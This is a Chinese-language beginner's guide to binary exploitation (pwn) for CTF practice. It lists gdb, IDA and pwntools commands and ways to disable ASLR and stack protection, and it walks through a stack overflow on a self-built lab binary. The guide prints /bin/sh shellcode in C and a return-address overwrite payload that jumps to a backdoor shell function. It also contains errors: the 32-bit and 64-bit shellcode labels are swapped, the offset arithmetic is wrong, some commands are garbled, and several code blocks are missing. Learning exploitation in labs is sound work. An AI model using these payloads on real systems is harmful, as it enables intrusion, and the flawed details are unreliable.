工具准备
安装gdb
|
|
安装pwntools
|
安装 32位GCC库
apt-get install gcc-multilib
常用命令
32位编译且关闭内存保护和报错
gcc -m32 -O0 -fno-stack-protector -z execstack -o exp exp.c
关闭地址随机化(需root,重启后恢复)
echo 0 > /proc/sys/kernel/randomize_va_space
查看文件属性
file exp
查看文件保护
checksec exp
msf定位偏移量
msf-pattern_create -l 400
msf-pattern_offset -q 4Ab5
查看程序导入的函数
objdump -R exp
查看所有函数以及汇编代码
objdump -d exp
gdb常用命令
载入程序
gdb -q exp
带参数载入程序
gdb -q -args ./exp AAAA
调试的一开始输入(如果断点失败可能需要这条)
starti
查看main函数
disass main
查看main函数地址
info address main
下断点
b *0x080491ef
b main
查看断点
info b
清除断点
d
运行
r
带参数运行
r python -r 'print("A"*400)'
查看进程中的权限
vmmap
单步执行
s
执行一行代码
n
继续到下一个断点
c
地址运算
p/d 0xffffd130-0xffffd100
查看50栈空间
s 50
退出
q
ida常用按键
反编译
F5
查看所有字符串
shift+F12
返回
Esc
切换图形/汇编视图
空格
pwntools常用代码
本地溢出
|
远程溢出
p = remote(‘127.0.0.1’,5667)
32位shellcode
print(asm(shellcraft.sh()))
64位shellcode
context.arch = “amd64”print(asm(shellcraft.amd64.sh()))
通用shellcode
32位
int main() { unsigned char shellcode[] = “\x50\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05”; int (ret)() = (int()())shellcode; ret(); return 0;}
64位
void main(){ char shellcode[] = “\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80”; void (fp)(void); fp = (void)shellcode; fp();}
如果需要编译
gcc -m32 -z execstack shell32.c
第一次の简单PWN
编译程序
|
gcc -m32 -z execstack tset.c
- m32 生成32位代码
- execstack 开启可执行栈 (默认GCC 是关闭可执行栈)
分析程序
给gets 打个断点
b *地址
运行
r
单步执行
n
执行到gets 输入字符串
打印栈
stack+长度
stack 30
输入12位字符串
输入长字符串
很明显,用户的输入把一部分代码覆盖掉了
s字符数组空间只有12位,gets 输入长度没有限制
如果输入超长数据,那么多出的字符会覆盖内存中其他数据 如果覆盖到代码则可能会导致执行异常.
00:0000│ esp 0xffffd520 —▸ 0xffffd534 ◂— ‘1234567890ab’
01:0004│ 0xffffd524 —▸ 0xf7fd7a6c (_dl_fixup+236) ◂— mov edi, eax
02:0008│ 0xffffd528 —▸ 0xf7c18482 ◂— ‘_dl_audit_preinit’
03:000c│ 0xffffd52c —▸ 0x56556220 (vulnerable+12) ◂— add ebx, 0x2dd4
04:0010│ 0xffffd530 —▸ 0xffffd570 —▸ 0xf7e20ff4 (GLOBAL_OFFSET_TABLE) ◂— 0x220d8c
05:0014│ eax 0xffffd534 ◂— ‘1234’
06:0018│ 0xffffd538 ◂— ‘5678’
07:001c│ 0xffffd53c ◂— ‘90ab’
08:0020│ 0xffffd540 ◂— 0x0
09:0024│ 0xffffd544 —▸ 0xf7e20ff4 (GLOBAL_OFFSET_TABLE) ◂— 0x220d8c
0a:0028│ ebp 0xffffd548 —▸ 0xffffd558 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 —▸ 0x56555000 ◂— …
0b:002c│ 0xffffd54c —▸ 0x5655625f (main+21) ◂— mov eax, 0
当vulnerable函数执行完后需要通过这个地址返回到main函数来继续执行程序
我们只需要覆盖这块地址上的内存 就可以控制返回地址 达到执行内存中任意已经存在的代码
通过简单的计算可得出playload长度
0x28-0x14=0x14(24)
输入任意24个字符之后加上4位地址就可以准确覆盖原有地址
题目里提供了一个后门函数
函数内执行了 system(“/bin/sh”)
我们只要将目标地址设为这个函数地址,就可以执行这个函数来获得一个交互bash shell. 最终达成RCE的目的.
PWN!
这里需要注意的是: 32位地址在内存中是小端储存
需要转换一下 0x565561ad ->0xad615556
最终payload
aaaaaaaaaaaaaaaaaaaaaaaa\xad\x61\x55\x56
也可以使用pwntools 完成PWN 简化操作
|
参考
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/stack-intro/
https://mp.weixin.qq.com/s/xBNB-FLRLafLhAgmMg6Ydw
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic/